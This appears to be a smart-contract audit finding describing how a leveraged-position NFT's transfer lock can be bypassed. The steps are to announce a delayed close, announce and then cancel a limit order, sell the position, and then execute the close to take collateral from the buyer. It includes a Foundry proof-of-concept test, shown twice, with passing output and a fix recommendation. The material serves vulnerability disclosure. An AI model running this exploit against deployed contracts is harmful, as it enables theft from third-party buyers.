The transfer lock for leveraged position orders can be bypassed
The leveraged positions can be closed either through `DelayedOrder` or through the `LimitOrder`. Once the order is announced via `DelayedOrder.announceLeverageClose` or `LimitOrder.announceLimitOrder` function the LeverageModule's `lock` function is called to prevent given token to be transferred. This mechanism can be bypassed and it is possible to unlock the token transfer while having order announced.\\nExploitation scenario:\\nAttacker announces leverage close order for his position via `announceLeverageClose` of `DelayedOrder` contract.\\nAttacker announces limit order via `announceLimitOrder` of `LimitOrder` contract.\\nAttacker cancels limit order via `cancelLimitOrder` of `LimitOrder` contract.\\nThe position is getting unlocked while the leverage close announcement is active.\\nAttacker sells the leveraged position to a third party.\\nAttacker executes the leverage close via `executeOrder` of `DelayedOrder` contract and gets the underlying collateral stealing the funds from the third party that the leveraged position was sold to.\\nFollowing proof of concept presents the attack:\\n```\\nfunction testExploitTransferOut() public {\\n    uint256 collateralPrice = 1000e8;\\n\\n    vm.startPrank(alice);\\n\\n    uint256 balance = WETH.balanceOf(alice);\\n    console2.log("alice balance", balance);\\n    \\n    (uint256 minFillPrice, ) = oracleModProxy.getPrice();\\n\\n    // Announce order through delayed orders to lock tokenId\\n    delayedOrderProxy.announceLeverageClose(\\n        tokenId,\\n        minFillPrice - 100, // add some slippage\\n        mockKeeperFee.getKeeperFee()\\n    );\\n    \\n    // Announce limit order to lock tokenId\\n    limitOrderProxy.announceLimitOrder({\\n        tokenId: tokenId,\\n        priceLowerThreshold: 900e18,\\n        priceUpperThreshold: 1100e18\\n    });\\n    \\n    // Cancel limit order to unlock tokenId\\n    limitOrderProxy.cancelLimitOrder(tokenId);\\n    \\n    balance = WETH.balanceOf(alice);\\n    console2.log("alice after creating two orders", balance);\\n\\n    // TokenId is unlocked and can be transferred while the delayed order is active\\n    leverageModProxy.transferFrom(alice, address(0x1), tokenId);\\n    console2.log("new owner of position NFT", leverageModProxy.ownerOf(tokenId));\\n\\n    balance = WETH.balanceOf(alice);\\n    console2.log("alice after transfering position NFT out e.g. selling", balance);\\n\\n    skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time\\n\\n    uint256 oraclePrice = collateralPrice;\\n\\n    bytes[] memory priceUpdateData = getPriceUpdateData(oraclePrice);\\n    delayedOrderProxy.executeOrder{value: 1}(alice, priceUpdateData);\\n\\n    uint256 finalBalance = WETH.balanceOf(alice);\\n    console2.log("alice after executing delayerd order and cashing out profit", finalBalance);\\n    console2.log("profit", finalBalance - balance);\\n}\\n```\\n\\nOutput\\n```\\nRunning 1 test for test/unit/Common/LimitOrder.t.sol:LimitOrderTest\\n[PASS] testExploitTransferOut() (gas: 743262)\\nLogs:\\n  alice balance 99879997000000000000000\\n  alice after creating two orders 99879997000000000000000\\n  new owner of position NFT 0x0000000000000000000000000000000000000001\\n  alice after transfering position NFT out e.g. selling 99879997000000000000000\\n  alice after executing delayerd order and cashing out profit 99889997000000000000000\\n  profit 10000000000000000000\\n\\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 50.06ms\\n\\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\\n```\\n
It is recommended to prevent announcing order either through `DelayedOrder.announceLeverageClose` or `LimitOrder.announceLimitOrder` if the leveraged position is already locked.
The attacker can sell the leveraged position with a close order opened, execute the order afterward, and steal the underlying collateral.
```\\nfunction testExploitTransferOut() public {\\n    uint256 collateralPrice = 1000e8;\\n\\n    vm.startPrank(alice);\\n\\n    uint256 balance = WETH.balanceOf(alice);\\n    console2.log("alice balance", balance);\\n    \\n    (uint256 minFillPrice, ) = oracleModProxy.getPrice();\\n\\n    // Announce order through delayed orders to lock tokenId\\n    delayedOrderProxy.announceLeverageClose(\\n        tokenId,\\n        minFillPrice - 100, // add some slippage\\n        mockKeeperFee.getKeeperFee()\\n    );\\n    \\n    // Announce limit order to lock tokenId\\n    limitOrderProxy.announceLimitOrder({\\n        tokenId: tokenId,\\n        priceLowerThreshold: 900e18,\\n        priceUpperThreshold: 1100e18\\n    });\\n    \\n    // Cancel limit order to unlock tokenId\\n    limitOrderProxy.cancelLimitOrder(tokenId);\\n    \\n    balance = WETH.balanceOf(alice);\\n    console2.log("alice after creating two orders", balance);\\n\\n    // TokenId is unlocked and can be transferred while the delayed order is active\\n    leverageModProxy.transferFrom(alice, address(0x1), tokenId);\\n    console2.log("new owner of position NFT", leverageModProxy.ownerOf(tokenId));\\n\\n    balance = WETH.balanceOf(alice);\\n    console2.log("alice after transfering position NFT out e.g. selling", balance);\\n\\n    skip(uint256(vaultProxy.minExecutabilityAge())); // must reach minimum executability time\\n\\n    uint256 oraclePrice = collateralPrice;\\n\\n    bytes[] memory priceUpdateData = getPriceUpdateData(oraclePrice);\\n    delayedOrderProxy.executeOrder{value: 1}(alice, priceUpdateData);\\n\\n    uint256 finalBalance = WETH.balanceOf(alice);\\n    console2.log("alice after executing delayerd order and cashing out profit", finalBalance);\\n    console2.log("profit", finalBalance - balance);\\n}\\n```\\n